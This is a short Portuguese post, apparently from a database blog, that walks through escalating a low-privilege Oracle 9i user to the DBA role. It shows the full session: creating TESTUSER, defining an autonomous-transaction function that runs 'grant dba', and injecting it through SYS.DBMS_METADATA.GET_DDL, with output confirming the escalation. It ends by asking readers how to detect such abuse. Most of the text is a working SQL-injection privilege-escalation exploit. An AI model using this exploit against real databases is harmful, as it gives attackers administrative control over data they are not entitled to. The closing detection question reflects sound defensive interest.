Primeiramente vamos ver a versão exata que estamos usando:
sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production
Neste exemplo, vamos criar o usuário que iremos transformar em DBA. Chamaremos o usuário de TESTUSER e daremos apenas acesso de CONNECT e RESOURCE pra ele!
sys@ORA9R2> create user testUser identified by testUser;
User created.
sys@ORA9R2> grant connect, resource to testUser;
Grant succeeded.
sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO
testuser@ORA9R2>
Agora que o usuário está criado e tem pouquíssimos privilégios, vamos usar uma falha da versão 9i para obter a role DBA. Esta falha envolve a criação de uma função e o uso de uma vulnerabilidade da package DBMS_METADATA.
Criação da função
testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /
Function created.
testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1
no rows selected
testuser@ORA9R2> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO
testuser@ORA9R2>
E agora ?
Como você faria pra detectar se algum dos seus usuários fez essa malandragem acima? Vamos encontrar uma solução para esse caso! Responda o link com idéias de como descobrir e evitar isso!